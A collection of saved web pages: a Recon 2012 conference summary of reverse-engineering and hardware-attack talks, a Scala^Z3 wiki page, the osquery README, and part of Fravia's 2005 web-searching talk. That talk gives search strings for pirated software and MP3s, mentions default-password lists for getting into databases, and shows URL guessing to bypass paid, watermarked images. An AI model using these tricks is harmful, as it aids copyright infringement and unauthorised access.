invalidating all previously-generated file signatures, which is clearly out of
question.

## Backside optical analysis hardware of ICs

Dmitry Nedospasov describes his setup to realize backside optical analysis
using custom components, like an astronomer infrared captor and a standard
microscope. For less than 20k$, approximately a 10th of the price of
professional setups, he is able to carry Backside optical analysis of
integrated circuits.

This technique is based on a physical property of the transistors, that once
in a while will emit a photon when changing state, if i remember correctly.
This happens roughly once every 1 million transitions. The 'backside' part
means that this happens through the silicon substrate, without needing to
decap the chip ; so it stays functionnal during the acquisition process. Using
very long exposure times \(hours\), it is possible to take a picture of the
running chip, and the bright spots will reveal where the transistor that were
very active during this period are located on the circuit board. Coupled with
very specific pieces of code running, for exemple a simple loop that will read
the value of one register, you can then visualize where on the chip you will
find the transistors responsible for implementing this register.

This can be very useful when you want to carry fault-injection techniques: now
you know precisely where to point your laser to in order to affect a specific
component.

The talk was very interesting, with lots of fascinating pictures. \(slides\)

## Modern static security checking of C/C++ programs

Julien Vanegue from Microsoft tells us how they try to use static analysis
everyday. Their approach is based on the framework HAVOC/Boogie, which works
on C++ code with annotations. This tool works with z3 as SAT backend, and
ensures that the code meets the pre and postconditions described in the
annotations. It scales pretty well, and the usual run on 6M lines of code
takes approx. 24h on a high-end machine \(24 cores, heaps of ram...\).

The tool has no false negatives, which means that it will never miss a flaw in
the code \(according to the annotations\), but it can generate false
positives. Those happen if the annotations are too broad or the code too
complex, in this case the programmer has to intervene, usually to add more
invariants or detail the ones already there.

Another interesting feature of their setup is Houdini, an algorithm able to
work on a big set of functions, to remove redundant annotations. It can lead
to improved run time, and better error messages. It also helps to fix a number
of false positives by adding the minimum set of new annotations on the root
cause of the problem. Julien finished by noting that the future of static
checking will be to try to automatically generate invariants for the code.

## Facedancer USB: Exploiting the magic school bus

The last talk of the day is Travis Goodspeed, assisted by Sergey Bratus for
the vocals, on an \(as usual\) awesome new piece of hardware, named
Facedancer.

It consists of a minimal board with 2 USB connectors, on for the controller
side and one for the target side, and comes with a python framework that
allows you to write fake USB devices, including all the very low-level
protocols. This can be seen as similar to existing devices, like the teensy,
but much more practical to work with, as you dont have to unplug and reflash
the device every time you want to try something new ; just change your python
code on the fly in your favorite editor and the device behavior updates
immediately. Another advantage is that the 'virtual device' code runs on your
PC, with all the capabilities that comes with it, compared to being limited to
the constrained ressources of a standalone embedded device. This way, it makes
a wonderful tool to prototype payloads, that you can later polish and embed in
a more lightweight device.

The only feature that is handled directly by the hardware is a form of
acknowledgement required by the USB protocol, and needs by design to be
realtime and is incompatible with a full round-trip to the controlling PC. Any
other kind of USB interaction is forwarded to the host to be handled by the
python code. The device can also emulate a Host and send bogus data to an USB
device, but in this case more timing problems can arise. It is also possible
to self-fuzz a machine, using the same computer for controlling the Facedancer
and as a target, but in this setup some OSes may have problems, especially
MacOS that has some kind of Big Lock for USB and cannot do anything on the USB
bus while enumerating new devices.

The rationale for creating this device is that people usually trust that
anything can be plugged in their PC and do not realize that most drivers were
written by the constructor usually with little security in mind, and
furthermore said developper had only the real device to work with, and so
probably did a poor job of validating the messages sent by the hardware, and
let's not talk about the hardware sending totally unexpected data.

Travis went on to describe some of the numerous bugs they were able to
trigger. The USB device is responsible for sending a textual description of
itself to its host, and using some special names like %n gave interesting
results, especially on userland systems like X11 and skype. Another
interesting behavior is that some drivers ask their device for a string, get
its length to allocate a buffer, and then re-ask the string to copy it. If the
facedancer sends two different replies, fun ensues.

Very entertaining talk, and the hardware and controlling python framework is
open-sourced as usual. \(facedancer\)

## Predicting english keywords from java bytecodes using machine learning

Pablo Duboue starts the 2nd day with an interesting approach to auto-
documenting unknown code: he will crawl the web for java sources, compile the
functions, and associate the javadoc comments on the function to the generated
bytecode for the function. When working an unknown class, he will then scan
for known bytecode patterns and associate the comments to it. When working on
big classes, unknown functions that call many known functions can be annotated
with the most common words appearing in the comments of these known
subfunctions, and so recusively. This can give a quick hint as to what a top-
level function will relate to.

A further interesting refinement would be to flag methods calling subfunctions
where the comments TODO or FIXME are present, as possibly flawed.

## Be social, use CrowdRE \(formerly Rewoltke\)

Jason Geffnet and Tillmann Werner, from CrowdStrike present their
collaborative reverse-engineering tool, CrowdRE. It is an IDA plugin, and can
export 'annotations' on a function to a server in the cloud. The annotations
include the function name and prototype, the calling conventions, the stack
variables names, the register variable names \(for HexRays\), structures,
enums, and comments \(both IDA and HexRays\). Once exported, the annotations
are associated to a hash of the function, and on a new IDA disassembly the
plugin can search for known signatures, and import the associated annotations.
The platform allows navigation in the history of a given function's
annotations. The plugin can also use fuzzy matching, to import annotations
from a 'similar' function.

The model is based on a single cloud service shared by everyone, and is mostly
useful for large-scale 'public' malware analysis. Future plans could involve
access-lists on the annotations, and social rating and review of both
annotations and annotators. \(slides\)

## Win8 user mode drivers

Alex Ionescu, from CrowdStrike, presents his research on a feature of Win8,
usermode drivers. UserMode Driver Framework v1.11 is Win8 only for now, but
should be backported to Vista and Win7 soon. It adds support for interruption
handling in usermode drivers, which is very important for general purpose
drivers ; without this feature the old framework was mostly useful for bus-
style devices like usb or 1394 oriented towards packet reception and emission.
The usermode driver model is based on COM and coded in C++. A kernel
component, the redirector, proxies requests from the devices to the usermode
through ALPCs. A usermode driver has the same privilege level as a service, it
need not be digitally signed. The UMD threads are hosted in one or more
wudfhost.exe process, similar to svchost for the services.

In UMDF1.11, a driver can now access memory-mapped IO hardware registers. The
access is possible through a system call, but also directly through the thread
virtual memory using a specific switch in the driver description file
\(.inf\): **RegisteraccessUsingUserModeMapping** , and a directive:

`MemConfig=<len>@<addr>-<addrend>`

However the kernel restricts access to the hardware-allocated pages. When
developping a software driver, the only accessible page is 0xC0000 which maps
to the video ram bios. It is possible to trigger the kernel to run code at
this address when changing resolution with a VGA card, when displaying a BSOD,
or during the shutdown sequence when the screen shows 'it is now safe to power
off'. This is not very convenient to exploit. Before Vista, the bios code was
run in VM8086 mode. Now windows uses an in-kernel emulator \(HAL x86 emulator,
named XM\) unless disabled by a registry key. The emulator checks the
addresses accessed by the code, and restrict them to BIOS-mapped memory.
Without this restriction it was possible to access the kernel code through the
physical memory, but the emulator seems to do a good job at filtering. However
it does not restrict direct port I/O access, except for PCI and BIOS CMOS
which are virtualized. An attack vector could then be direct access to the
hard disk through PIO, but this is hard and could conflict with the normal DMA
accesses made by the OS.

Alex concludes by admitting he found no reliable way to simply escalate
privileges from a usermode driver to kernel, and that it seems pretty safe to
deploy. It would actually improve the security of the machine to deploy e.g.
printer drivers this way instead of loading them in the kernel. As a final
remark he could only recommand that windows engineers mandate a digital
signature for UM drivers.

## Reverse engineering of binary programs for custom virtual machines

Alexander Chernov and Katerina Troshina recount how they reversed a firmware
for an unknown architecture, with only basic knowledge of which part of the
firmware were data and which were code. They usually do firmware reverse-
engineering of embedded devices, using their own decompiler: SmartDec, but
this time they had no CPU datasheets to work with at all. Trying hundreds of
existing CPUs yielded nothing, so they resorted to statistic analysis.

The goal was to identify a _ret_ instruction based on a few assumptions: it
would occur often, and have a fixed binary representation \(as it takes no
argument\). Assuming the code is organized in subroutines ending with a _ret_
, there should be 'call' instructions, whose argument would be the absolute
address of the target subroutine, ie the address right after a _ret_. By
trying different possible encodings for the address argument, they were able
to find one candidate that was much more frequent than the others. The opcode
had the form XXYYZZTT, with the address stored in TTYY. Assuming the _jmp_
instruction would have a similar layout, and furthermore hinting that some of
the subroutines would end with a _jmp_ instead of a _ret_ , and cross-
referencing that with the results of the _call_ analysis, they were able to
identify the absolute _jmp_ instruction. At this point they had the rough
structure of the binary, with most subroutines and the links between them.

Assuming relative jumps were intra-function and had an 'offset' encoding
similar to the absolute jmp, they were able to identify conditionnal and
unconditionnal instructions, and so recovered intra-function code flow. Then
the _cmp_ instructions are found right before the conditional jumps, giving
away the binary format for the arithmetic instructions, and these can be
distinguished by the value of their immediate argument: _and_ -style
instructions would most often take a value with only one bit set. The last
remaining piece is to match

[code]

    set reg, addr
    load
    modify
    store
    
[/code]

patterns to identify memory accessing instructions.

Using the reversed instruction format, they were then able to produce useful
annotations so that their decompiler can work on the binary, and finally
recover all of the original code.

This talk presented an interesting approach to a very unusual problem, which
may be useful when working on old embedded devices.

## Debugging baseband stacks

Ralf-Philipp Weinmann describe the world of GSM devices, where a distinct
'baseband' processor is responsible for managing the radio equipement, in
parallel with the 'application' processor which runs the user-interface and
applications of the phone. The baseband is a very closed universe, with full-
blown operating systems which were almost never looked at from a security
perspective. These operating systems implement complete 3GPP stacks, which are
huge, complex and interact a lot. This makes the code very unfriendly to
static analysers, as data packets hop from one layer to the other.

He then cites qcombbdbg, published by Guillaume from our lab. This is a
debugger compatible with gdb, designed to work on the REX real-time operating
system, used on qualcomm DSPs. It represents an unique open-source alternative
to vendor-provided diagnostic tools, and is user-friendlier than hardware
debugging \(eg JTAG\). However newer versions of qualcomm basebands are based
on the OKL4 micro-kernel architecture, where REX runs as an user-mode task. He
is in the process of porting the debugger to run on these new devices, and
will try to release the code before BlackHat.

## Designing a minimal operating system to emulate x86 code snippets

Elias Bachaalany explains the internals of his custom virtual machine for
malware analysis. He chose to use a full virtual machine over a simpler code
emulator because code emulators often have wrong semantics for unusual
instructions, and are slower than a VM with JIT code compilation. With a
virtual machine, he can prepare a custom bootloader/kernel that will only load
the specified binary and execute a given address. He can either load libraries
or emulate them in the host.

With this setup he can very quickly run a given sample, with all the benefits
of a full virtual machine coupled with an almost-instantaneous boot time.
Check the slides for more technical details.

## Lightning Talks

The 2nd ended with the traditionnal Lightning Talks.

We learned that offensivecomputing.net got renamed to openmalware.org, and
changed hands.

One guy volunteered for a custom reimplementation of the CloudRE server,
allowing to host your private server in your own network \(now published:
cloudnein\).

Someone is building an antidebug archive, all within a single executable,
similar to the corkami project. \(antiRE\)

And finally we had an epic chiptunes concert by DjHipst, on two original
modded GameBoys.

## Reversing Dwarf Fortress for fun and ruby

I started the 3rd and last day with a retrospective on the hacking of the game
Dwarf Fortress with dfhack, and how we manage the adaptation of the tools when
a new game version is released. DFHack now includes a ruby interpreter, so
that you can now fully script the game without the hassle of a full C++
recompilation. \(slides\)

## Doing it for the lulz: anonymous and a radical politics of dissent

Gabriella Coleman gave a rehearsal of a TEDtalk: the sociological analysis of
the group known under the name 'anonymous', where she was able to identify
many inner currents, but all united under the motto of never putting oneself
forward.

Nice summary of the events of the last few years.

## Recognition of binary patterns by morphological analysis

Aurelien Thierry, from INRIA, presents a tool to identify library function
statically linked in a binary.

In the learning phase, the tool will disassemble a given library using a
custom disassembler based on beaengine and extract the control flow graph for
it. All instructions are discarded, except for jcc/call/ret. Simple jumps are
removed too, but the destination for calls is retained as an additional
information. The graph is stored in a database, and can be read by an IDA
plugin. The scanning of a library is pretty fast, for exemple it maps all
openssl in 12s, for around 30k nodes and a pretty good coverage.

The IDA plugin will iterate over every function, and try to match the control
flow graph with the database. The general problem of graph homomorphism is
known to be NP-complete, but in this case he can apply additional constraints:
all graphs have a root node, and node children are ordered. In this case,
there exist polynomial matching algorithms. To further improve matching time,
and handle compiler inlining, the plugin matches limited sub-graphs, of around
15 nodes. When a large number of matches is found between a function in the
idb and one in the database, matches are tried with increasingly larger
subgraphs.

One limitation of this scheme is that it does not work on functions with a
small number of blocks, but otherwise it works pretty well as an alternative
to FLIRT. The scheme is still quite sensitive to the compilation options used
for the initial corpus of libraries. The program may evolve as \(yet another\)
cloud-based community reversing service.

## Cryptographic function identification in obfuscated binary programs

Joan Calvet tries to find and categorize cryptographic algorithms in unknown
binaries, including obfuscated code.

The usual way to do that would be to look at functions in the program, and
search for loops and magic constants. However with obfuscated code, you cannot
even trust basic function detection, as call instructions may be used for
obfuscation and never return. You cannot either trust loop recognition, as
with code flattening artificial loops are created for code dispatch. The
solution chosen is to trace the whole program with pin, and detect loops as
repetition of the same sequence of instructions in the trace. This also solves
the problem of loop unrolling.

When a loop is detected, the algorithm tries to extract the loop inputs and
outputs. When one loop is detected, it is then matched through brute-force
against all ciphers, as implemented in a python library. The python
implementation is tested for all algorithms with all possible input
combination and then tests if any of the output matches. This straightforward
approach works well for simple algorithms, like TEA. It can be puzzling to
test the script against known malware identified as using TEA and see it fail
; in fact that revealed a bug \(or intentional modification\) of the original
algorithm in the malware where some instructions were re-ordered.

This method could probably work on other fields, like compression or hashing.

A very interesting and pragmatic approach.

## Dynamic binary instrumentation frameworks: I know you're spying on me

Francisco Falcon and Nahuel Riva, from Core Security gave an exhaustive list
of ways to detect when a binary is run under the Pin DBI framework, using the
pin library:

  * file mappings in memory,
  * process module enumeration,
  * timing attacks \(esp. on LoadLibrary\),
  * checking the value of eip in seen by fstenv, etc.

\(slides\)

## Toolbag

Aaron Portnoy and Brandon Edwards present a very interesting IDA plugin,
intended to present an API to work with the idb as a real SQL database. For
that, the first time you run it, it will create an SQLite database and import
most information from the idb in it. This takes some time but is only
necessary one time.

The plugin adds a lot of misc features to IDA, for exemple: \- a graphical
view of the navigation history, with separation for inter-function navigation
and intra-function ; \- ability to add 'marks' in the IDB that are scoped \(eg
you only see global marks and local marks related to the current function\) ;
\- ability to display blocks of the current function with those of
subfunctions with customized depth ; \- ability to manually solve indirect
jumps \(ctrl+\[ on a 'call ebx', then ctrl+\] on the destination, will create
a code path if the destination is code, or a jmp table if the destination is
data\) ; \- can display a path between two nodes of the graph \(binnavi-
style\) ; \- all queries are journalized and can be pushed to other IDAs over
the network or to 'agents' ; \- a python script is given as exemple for a
vtrace client \(a debugger in python\) to colorize blocks taken in a trace
run...

The plugin is fully documented, its free, get it, use it. \(toolbag\)

## GPUs for mobile malware

Jared Carlson describes the various primitives offered for a malware that
choses to execute on the GPU of a mobile device. It can access the host
memory, and use various algorithms available off-the-shelf to eg locate and
patch a specific piece of code on the host memory. On Iphone, GPU shader code
is one of the last pieces of code that is not digitally signed and could prove
an interesting option for malware authors.

## Compiler internals: exception and RTTI

To conclude Recon2012, Igor Skochinsky described methodically the meta-data
added by the compilers to C++ code to handle RunTime Type Information, and
exception structures in x86, both 32 and 64-bit, for Linux and Windows.

Very good slides.

And another wonderful Recon session ends \!

# Lab for Automated Reasoning and Analysis - LARA: Wiki

**Created:**| _5/26/2011 1:30:46 PM_  
---|---  
**Updated:**| _5/26/2011 1:30:46 PM_  
**Author:**| __  
**Tags:**| _programming SMT_  
  

Trace: » jniz3

# Scala^Z3: Integration of Scala and Z3

## Scala

The Scala API is available at http://lara.epfl.ch/~psuter/jniz3/. You probably
want to look at the classes `Z3Context` to start, and `Z3Theory` if your
interest is to write theory plugins. The function names are usually very close
to their C equivalent \(you can consult the C API here\). One notable
difference is that functions return multiple arguments when needed rather than
using by-reference arguments. This convention is applied systematically. Not
all functions in the C API have a Scala equivalent yet \(for instance, bit-
vectors have no counterpart yet\).

### Examples

Examples of usage of Z3 from Scala can be found here.

## Java

We’re not actively developing the Java library. However, the JNI bindings are
common for the Scala and Java API, so the effort required to write the Java
library is minimal \(eg. you do not need to know anything about the JNI\). Let
us know if you are interested in doing that.

## Download

You can get the latest `z3.jar` \(including the Scala class files, the Java
class files and the C bindings\) from here. Note that we don’t currently
distribute the sources.

You’ll need the shared library `libz3.so` or `z3.dll`. See Microsoft
Research’s website http://research.microsoft.com/en-
us/um/redmond/projects/z3/download.html.

Currently, the bindings are compiled against Z3 2.15 \(we have not seen
changes in the API since version 2.11, though\). Note that the Linux version
reports 2.16 as the version number.

We try hard to make all functions safe by wrapping Z3 pointers into proper
classes, so that all calls can by typechecked by Scala/Java. However, there
are always ways to break things. Be aware of the following \(from: G. Tan et
al., _Safe Java Native Interface_, IEEE Symp. on Secure Software Engineering,
2006\):

“When a type-safe language interacts with an unsafe language in the same
address space, in general, the overall application becomes unsafe.”

You have been warned.

## Temporary Files

When you use the jar file, it will unpack the required native bindings
\(`libjniz3.so` for \*nix variants, and `jniz3.dll` for Windows\) to a
temporary directory. This is required for the JVM to be able to load the
library, as it can only load libraries from the OS file system. A directory
`JNIZ3_????-??-??`, where the question marks are replaced by the date, is
created in the default temporary directory \(`/tmp/`,
`C:\users\UserName\AppData\Local\Temp` for Windows 7, etc.\). **Warning:**
currently, if you use two different versions of `z3.jar` the same day, you run
the risk of triggering `UnsatisfiableLinkError` exceptions. We will probably
fix this in future releases by attaching the version number to the temporary
directory.

## Applicability

The current version works on architectures running a variant of Linux or
Windows. We have not personally tested the library on 64bit architectures yet
and would appreciate any feedback on that subject. _In theory_ , it should
work.

### Windows Usage Notes

Aside from the `z3.dll` shared library, you will need two libraries that come
as part of the Microsoft Visual C++ 2010 Redistributable Package.

## Authors

Z3 is written and maintained by Microsoft Research. The project is lead by
Leonardo de Moura and Nikolaj Bjørner. The Scala interface and JNI bindings
are written by Philippe Suter, with contributions from Ali Sinan Köksal and
Robin Steiger.

## Change Log

\(The following is a non-exhaustive list of changes.\)

[code]

    1.1   2010-12-03   Included DLL for Windows, Z3AST instances can be built easily from others using overloaded operators, support for the SMT LIB parser interface.
    1.0   2010-09-16   Initial release.
    
[/code]

# facebook/osquery

**Created:**| _7/16/2015 1:05:20 PM_  
---|---  
**Updated:**| _7/16/2015 1:05:20 PM_  
**Author:**| __  
**Tags:**| _security tools_  
  

# osquery

<img src='img/Temp2_10255.png' width='200' alt='osquery logo' />

osquery is an operating system instrumentation framework for OS X and Linux.

The tools make low-level operating system analytics and monitoring both
performant and intuitive.

Platform | Build status |  |  |   
---|---|---|---|---  
RHEL 6.5 | <img src='img/Temp2_10256.png' alt='Build Status' /> |  |  |   
RHEL 7.0 | <img src='img/Temp2_10256.png' alt='Build Status' /> |  | **Homepage:** | https://osquery.io  
CentOS 6.5 | <img src='img/Temp2_10256.png' alt='Build Status' /> |  | **Downloads:** | https://osquery.io/downloads  
CentOS 7.0 | <img src='img/Temp2_10256.png' alt='Build Status' /> |  | **Tables:** | https://osquery.io/tables  
Ubuntu 12.04 | <img src='img/Temp2_10256.png' alt='Build Status' /> |  | **Guide:** | https://osquery.readthedocs.org  
Ubuntu 14.04 | <img src='img/Temp2_10256.png' alt='Build Status' /> |  |  |   
OS X 10.10 | <img src='img/Temp2_10256.png' alt='Build Status' /> |  |  |   
#### What is osquery?

osquery exposes an operating system as a high-performance relational database.
This allows you to write SQL-based queries to explore operating system data.
With osquery, SQL tables represent abstract concepts such as running
processes, loaded kernel modules, open network connections, browser plugins,
hardware events or file hashes.

SQL tables are implemented via a simple plugin and extensions API. A variety
of tables already exist and more are being written: https://osquery.io/tables.
To best understand the expressiveness that is afforded to you by osquery,
consider the following SQL queries:

List the the users:

[code]

    SELECT * FROM users;
[/code]

Check the processes that have a deleted executable:

[code]

    SELECT * FROM processes WHERE on_disk = 0;
[/code]

Get the process name, port, and PID, which are listening on all interfaces:

[code]

    SELECT DISTINCT process.name, listening.port, process.pid
    FROM processes AS process
    JOIN listening_ports AS listening ON process.pid = listening.pid
    WHERE listening.address = '0.0.0.0';
[/code]

Find every OS X LaunchDaemon that launches an executable and keeps it running:

[code]

    SELECT name, program || program_arguments AS executable
    FROM launchd
    WHERE
      (run_at_load = 'true' AND keep_alive = 'true')
    AND
      (program != '' OR program_arguments != '');
[/code]

Check for ARP anomalies from the host's perspective:

[code]

    SELECT address, mac, count(mac) AS mac_count
    FROM arp_cache GROUP BY mac
    HAVING count(mac) > 1;
[/code]

Alternatively, you could also use a SQL sub-query to accomplish the same
result:

[code]

    SELECT address, mac, mac_count
    FROM
      (SELECT address, mac, count(mac) AS mac_count FROM arp_cache GROUP BY mac)
    WHERE mac_count > 1;
[/code]

These queries can be:

  * performed on an ad-hoc basis to explore operating system state using the osqueryi shell
  * executed via a scheduler to monitor operating system state across a set of hosts
  * launched from custom applications using osquery Thrift APIs

#### Downloads / Install

For latest stable and nightly builds for OS X and Linux \(deb/rpm\), as well
as yum and apt repository information visit https://osquery.io/downloads. For
installation information for FreeBSD, which is supported by the osquery
community, see the wiki.

##### Building from source

Building osquery from source is encouraged\! Join our developer community by
giving us feedback in Github issues or submitting pull requests\!

#### Vulnerabilities

Facebook has a bug bounty program that includes osquery. If you find a
security vulnerability in osquery, please submit it via the process outlined
on that page and do not file a public issue. For more information on finding
vulnerabilities in osquery, see a recent blog post about bug-hunting osquery.

#### Learn more

Read the launch blog post for background on the project.

If you're interested in learning more about osquery, visit the users guide and
browse our RFC-labeled Github issues.

# private.htm, 29 December 2005, Talk in Berlin

**Created:**| _5/17/2009 6:50:43 PM_  
---|---  
**Updated:**| _5/17/2009 6:51:51 PM_  
**Author:**| __  
**Tags:**| _seeking reversing web conference-material_  
  
~ Berlin talk: 22C3 Private Investigations ~  
Thursday December 29th, 2005 ~ Time: 13:00 ~ Location: 22C3 Berlin  
This file dwells at http://www.searchlores.org/private.htm  
  
<img src='img/Temp2_10581.jpg' width='798' height='588' alt='Back to mines' />  
  
"_There is no shame in not knowing: the shame lies in not finding out_ "|  | <img src='img/Temp2_10572.jpg' width='118' height='68' alt='Petit image' />  
Back to searchlores  
  
"Private investigations for curious web-seekers: techniques, tools and magic
tricks"  
by Fravia+  
December 2005  
version 4.3  

* * *
Introduction and caveats  
The importance of guessing  
Anonymity for beginners  
Whois IP-Related  
Wikipedia Journals  
Books Images Music  
A search Languages/Regional  
Magic tricks Slides  
Conclusions Assignements  
  
Searching for disappeared sites  
Maps  
Searching for sites with relevant names  
  
All the main s.e.:Bk:flange of myth  
\[rose\] webbits' cosmic power  
  
---|---|---  
  
  
  
  
INTRODUCTION  
Structure, Opera and Proxomitron | Top  
---|---  
  
Excuse my English, please, which is my third language, and please note that
I'm not sure I'll always be able to be politically correct. Also -as you can
see- no powerpoint in my talks: there's no need to turn everything into a
sales pitch, and with powerpoint even the few pre-chewed "ideas", hidden
inside the bambinesque noise, are simplified to the point that they become
redundant and unclear.  
  
The purpose of this talk is to show you how to search effectively the web, and
hence give you cosmic power, no more and no less. In only one hour we'll be
able to examinate just a broad palette of searching approaches. Let's hope
that your attention span is good enough, and that you'll be later able to work
by yourself, in order to learn much more on your own:  _Probieren geht über
studieren_ , duh, yet without your own work and application most of you will
just remain the poor "one word" searchers that they are.  
  
It would be a pity\! Once you know how to search the web, the entire human
knowledge will become available to you.  
  
Enough blabbering: let's begin from the beginning. Using google, we can see
how a simple "moronical" query like  
"index.of" warez has your target signal submerged under such a heavy
commercial noise to be next to useless. In fact people create on their servers
many Index of/archiv/warez or Index of/archiv/porn subdirectories just in
order to attract some \(moronical\) traffic :-\)  
The index.of querystring is one of the oldest tricks used to bypass the
commercial vultures, in the hope to fetch directly the targets you are
seeking.  
It still works, btw: playmates index.of will indeed give you some good
results. But the commercial beasts and the search engines' spammers \(that
call themselves SEOs\) incorporated a long time ago this index.of string in
their scam pages, so you cannot rely on this querystring -alone- anymore.  
  
So what should we use instead?  
Well, a query like the following one should cut some more mustard \(In case
people should look for software on the web instead of buying it\):  
\("wares" OR "warez" OR "appz" OR "gamez" OR "abandoned" OR "pirate" OR
"war3z"\) \("download" OR "ftp" OR "index of" OR "cracked" OR "release" OR
"full"\) \("nfo" OR "rar" OR "zip" OR "ace"\)  
Of course this is useful when used with a specific target NAME: teleport.pro
\("wares" OR "warez" OR "appz" OR "gamez" OR "abandoned" OR "pirate" OR
"war3z"\) \("download" OR "ftp" OR "index of" OR "cracked" OR "release" OR
"full"\) \("nfo" OR "rar" OR "zip" OR "ace"\), which confirms the paramount
importance of NAMES on the Web.  
  

* * *
  
Here another nice mp3 querystring, just smash it inside google:  
imagine "snd \*.mp3 \*-\*-2005 \*:\* \*.\*m" OR "snd \*.mp3 \*-\*-2005 \*:\*
\*.\*k" OR "snd \*.mp3 \*-\*-2005 \*:\* \*.\*"  
and obtain the following link:
http://www.google.com/search?hl=en&lr=&ie=ISO-8859-1&q=imagine++%22snd+\*.mp3+\*-\*-2005+\*%3A\*+\*.\*m%22+OR+%22snd+\*.mp3+\*-\*-2005+\*%3A\*+\*.\*k%22+OR+%22snd+\*.mp3+\*-\*-2005+\*%3A\*+\*.\*%22++&btnG=Search  
Change imagine to boogie, dylan, garfunkel, mendelssohn, mozart or whatnots.
Change 2005 to 2004 \(or earlier\) for a different \(but possibly more stale\)
search.  
Look at the query: can you understand WHY this query works?  
  

* * *
  
  
These above are just examples, and using just one of the main search engines:
Google, one of the most important, but \(and hence\) also one of the most
abused search engines.  
  
Always remember that the main search engines \(at the moment the most
important ones are google, yahoo, msn and teoma\) cover -at best- just a third
of the whole web... <img src='img/Temp2_10575.jpg' width='13' height='13'
alt='red' />  
  
So the problem is to wade through the slimy commercial morasses of the web,
which were made specifically "ad captandum vulgus", and to quickly "cut" this
useless ballast in order to find our targets.  
  
We'll use google a lot as an example today, but we'll examine various
different ways to fetch your targets "by hand". I say "manually" because
that's what we are going to do  _for pedagocical reasons_.  
Real seekers try to automate the process as much as possible and usually
employ ad hoc bots to do the gritty digging. But that's for later, first the
basics.  
  
Let's first have a short look at what the web looks like from a searcher's
point of view.  
Outside linkers are fetched through klebing \(and stalking and social
engineering\), the bulk and the outside linked through combing and short and
long term seeking, the hidden and commercial databases through password
breaking or guessing, social engineering or, more simply, just seeking
databases' hardcoded passwords \(à laBorland Interbase's "politically
correct"\) on the web.  
Here is for instance one of these lists: defpasslist1.htm  
  
In fact the web was made for SHARING information, not for "hoarding" nor for
"selling" it. And it was made for solidity: its structure was made in order to
resist a possible nuclear attack. It will resist even the commercial beasts
that have tried to bury real useful information under tons of commercial crap,
aggressive commercial porn sites and an avalanche of silly and useless
advertisements.  
Learning how to search, you'll be able to "cut" through the commercial pudding
and morasses and fetch quickly \(or relatively quickly\) your target jewels.  
  
But to "cut" the Web you'll need first of all a SWORD with a sharp blade: a
capable and quick browser. That's the first and foremost step. MSIE, Microsoft
Internet explorer is a no-no-no, too buggy, bloated and prone to all sort of
nasty attacks. The two current "philosophical schools" are either Firefox or
Opera... which is the one I am using now.  
  
Whichever of the two "real" browsers you use, no sword will suffice without a
SHIELD. And your shield, and a mighty one, is proxomitron.  
Proxomitron is a very powerful tool. Its power lies in its ability to rewrite
webpages on the fly, filter communications between your computer and the web
servers of the sites you visit, and to allow easy management of external proxy
use.  
Here is a link to an old, but very good essay about proxomitron basic
installation: anony\_8.htm, and a link to another essay, Oncle Faf goes inside
proxomitron about further finetuning.... Let's sum it up:  _"Only morons 'just
do it' without Proxomitron."_  
  
A word of warning: You'll most probably forget most of the things you'll learn
today rather quickly, since nowadays most young people \(and many elder ones
as well\) after having been heavily bombarded by advertisements from their
birth onwards, have an attention span of just a few minutes and a memory as
weak as an autumn leaf. But hopefully you'll gather today the basics of
searching correctly the web. You may even want to test your skills,
afterwards, on your own, on some assignements.  
  
So, in case you forget, for instance, how to quickly find any mp3 on the fly,
you'll be able to use your combing knowledge to quickly find on the web many
searchers who will teach you how to find mp3 rather quickly. Or maybe even
**their** teachers :-\)  
  
  
  
MUST KNOW & DISCLAIMER  
sine qua non | Top  
---|---  
  
Just a short tour around the house  
  
Main, regional and local search engines  
ftp, blogs and all the various targets  
usenet irc and then, of course, trolls  
Again: anonymity and stalking, maybe some luring as well...  
  
Disclaimer  
  
The information provided during this conference should only be used for
academic purposes and must not be used to infringe the patents, copyrights
\(or any other legal rights\) of any company, organisation, government or
legal entity. The information provided during this conference must not be used
to engage in any illegal activity.  
On the other hand you may use the information provided in order to FIGHT any
illegal activity, be it performed by private parties or by one of the
aforementioned legal entities :-\)  
  
  
  
THE IMPORTANCE OF GUESSING  
The Art of Guessing| Top  
---|---  
  
  
GUESSING is a very important art for seekers. Here two 'images-related'
examples of the "guessing" approach:  
  
1\)  
  
<img src='img/Temp2_10570.jpg' />  
  
A database and a search engine for advertisements, completely free until
recently, you could enlarge \(and copy\) any picture and watch any ad-spot.  
Advertisements from Austria to Zimbabwe. Very useful for advertisement
reversing pourposes.  
  
For instance:
http://media3.adforum.com/zrIf58670C/B/BM/BMPD\_03884/BMPD\_03884\_0048601T.JPG,
an English volkswagen advertisement.  
  
Alas, the clowns are no longer free. Let's see what we can do.  
Let's isolate the image, and now let's play the guessing game, because we
don't really want to \[shudder\] pay advertisers in order to see their crap,
do we?  
Now we notice that BMPD\_03884\_0048601T.JPG has a "t" inside. It may be "t"
for tiny.  
Then we may have "w" for wide and maybe also "a" for art :-\)  
\(http://media3.adforum.com/zrIf58670C/B/BM/BMPD\_03884/BMPD\_03884\_0048601W.JPG...see?http://media3.adforum.com/zrIf58670C/B/BM/BMPD\_03884/BMPD\_03884\_0048601AJPG...q.e.d.  
  
  
The web was made for SHARING, not for hoarding and not for selling. It's very
STRUCTURE will deliver searchers whatever they are looking for.  
  
  
But the web is really deep. For instance, if you study advertisement
debunking, you may also want to take account of the EVOLUTION of
advertisement, and here is where sites like
http://scriptorium.lib.duke.edu/adaccess/browse.html \(1911-1956\) may come
handy.  
  
  
  
2\) http://www.acclaimimages.com/\_gallery/\_pages/ As you can see, when you
click on one of these links, for instance on this construction crane, you get
a useless small and watermarked image:
http://www.acclaimimages.com/\_gallery/\_SM/0153-0512-1500-1119\_SM.jpg.  
Now note the STRUCTURE of this address:
http://www.acclaimimages.com/\_gallery/\_SM/0153-0512-1500-1119\_SM.jpg  
That \_SM must mean SMALL, and in this case, also, watermarked.  
Some simple guessing \(and some experience\) will prove once again that the
web was made for SHARING, not for hoarding and not for selling: as you can see
the 'similar pictures', below, have the following structure:
http://www.acclaimimages.com/\_gallery/\_TN/0153-0512-1500-1119\_TN.jpg, hence
\_TN must be TINY.  
Let's first try
http://www.acclaimimages.com/\_gallery/\_BG/0153-0512-1500-1119\_BG.jpg: BG
for BIG  
Ahi, ahi: "_was not found on this server_ ". In fact, I'll stop here and let
you find out -I mean, guess out- the correct character sequence as an
assignement :-\)  
But we can still eliminate the watermarks now, so that you see that you may
have a three letter combination as well as a two letters one :-\)  
http://www.acclaimimages.com/\_gallery/\_SM2/0153-0512-1500-1119\_SM2.jpg  
How did we guess that "SM2" -instead of SM- would have eliminated the
watermark?  
